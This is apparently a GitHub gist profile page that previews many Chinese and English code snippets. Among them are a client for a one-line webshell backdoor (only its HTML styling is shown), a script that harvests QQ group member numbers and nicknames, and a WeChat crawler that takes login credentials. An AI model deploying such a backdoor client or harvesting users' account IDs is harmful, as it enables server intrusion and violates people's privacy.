Skip to content

Instantly share code, notes, and snippets.

View phoenixg's full-sized avatar
😘
Fall in love

Phx phoenixg

😘
Fall in love
  • Shanghai, China
View GitHub Profile
@phoenixg
phoenixg / rss.generate.php
Created December 6, 2013 10:17
generate-xml-rss-feed-with-php
<?php
// http://www.9lessons.info/2009/03/generate-xml-rss-feed-with-php.html
$items = array(
array('title' => 'aaa', 'link' => 'www.google.com', 'description' => 'aaaaaaaaaaa'),
array('title' => 'bbb', 'link' => 'www.yahoo.com', 'description' => 'bbbbbbbbbbb'),
);
header("Content-type: text/xml");
echo "<?xml version='1.0' encoding='UTF-8'?>
// 最新HOSTS法去除优酷、爱奇艺等视频网站广告 http://www.oschina.net/code/snippet_1262919_27114
#优酷
127.0.0.1 atm.youku.com
127.0.0.1 Fvid.atm.youku.com
127.0.0.1 html.atm.youku.com
127.0.0.1 valb.atm.youku.com
127.0.0.1 valf.atm.youku.com
127.0.0.1 valo.atm.youku.com
@phoenixg
phoenixg / asplashscreen.sh
Created December 19, 2013 14:52
raspberry pi splash booting video shell script: https://dl.dropboxusercontent.com/u/106074492/asplashscreen
#! /bin/sh
### BEGIN INIT INFO
# Provides: asplashscreen
# Required-Start:
# Required-Stop:
# Should-Start:
# Default-Start: S
# Default-Stop:
# Short-Description: Show custom splashscreen
# Description: Show custom splashscreen
@phoenixg
phoenixg / youku.address.sniffer.php
Created January 29, 2014 05:05
优酷视频地址嗅探脚本
<?php
// 引用自:http://www.oschina.net/code/snippet_616067_22723?p=2#comments
// 调用方法http://../flv.php?url=http://v.youku.com/v_show/id_XMzg2OTQ3MjQw.html
// 似乎只支持低清晰度的视频地址
echo fetch_youku_flv($_GET['url']);
function fetch_youku_flv($url){
preg_match("#id_(.*?)\.html#",$url,$out);
$id=$out[1];
$content=get_curl_contents('http://v.youku.com/player/getPlayList/VideoIDS/'.$id);
$data=json_decode($content);
/**
* 微信公众平台 fakeid 爬取
* Usage: casperjs test.js 123456@qq.com password
* # phantomjs --version
* 1.9.7
* # casperjs --version
* 1.1.0-beta3
--ignore-ssl-errors=yes ???
*/
#!/usr/bin/python
#-----------------------------------
# Send SMS Text Message
#
# Author : Matt Hawkins
# Site : http://www.raspberrypi-spy.co.uk/
# Date : 30/08/2012
#
# Requires account with TxtLocal
# http://www.txtlocal.co.uk/?tlrx=114032
@phoenixg
phoenixg / callback.php
Created April 10, 2013 14:04
原作者称:QQ的账号登录及api操作,使用oauth 2.0。官方提供的sdk都太过庞大,这是我自己简化的,提供简单的账号登录、获取个人信息、发布分享等功能,如果需要其他功能可以根据官方的api文档自行添加。
<?php
//授权回调页面,即配置文件中的$callback_url
session_start();
require_once('config.php');
require_once('qq.php');
if(isset($_GET['code']) && trim($_GET['code'])!=''){
$qq=new qqPHP($qq_k, $qq_s);
$result=$qq->access_token($callback_url, $_GET['code']);
}
@phoenixg
phoenixg / noip.sh
Created February 3, 2014 16:03
树莓派设置动态DNS(使用noip服务)Raspberry Pi Beginner : Dynamic DNS
#! /bin/sh
# /etc/init.d/noip
### BEGIN INIT INFO
# Provides: noip
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Simple script to start a program at boot
@phoenixg
phoenixg / lanker.backdoor.html
Created September 7, 2013 13:37
lanker一句话后门客户端3.0
<HTML><HEAD>
<!-- codz by LANKER(QQ:18779569) 2005/1/1-->
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<style>
<!--
td {font-size:8pt; color: #666666;font-family:Verdana}
INPUT {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff}
textarea {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff}
select {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff}
@phoenixg
phoenixg / getAddressList_QQ.js
Last active July 1, 2019 10:50 — forked from justjavac/getAddressList_QQ.js
获取QQ群成员QQ号和昵称列表
var ids = document.querySelectorAll(".member_id");
var names = document.querySelectorAll(".member_name");
var output = "", length = ids.length;
for(var i=0; i<length; i++){
output += ids[i].innerHTML.slice(1,-1) + ":" + names[i].innerHTML + "\n";
}
console.log(output);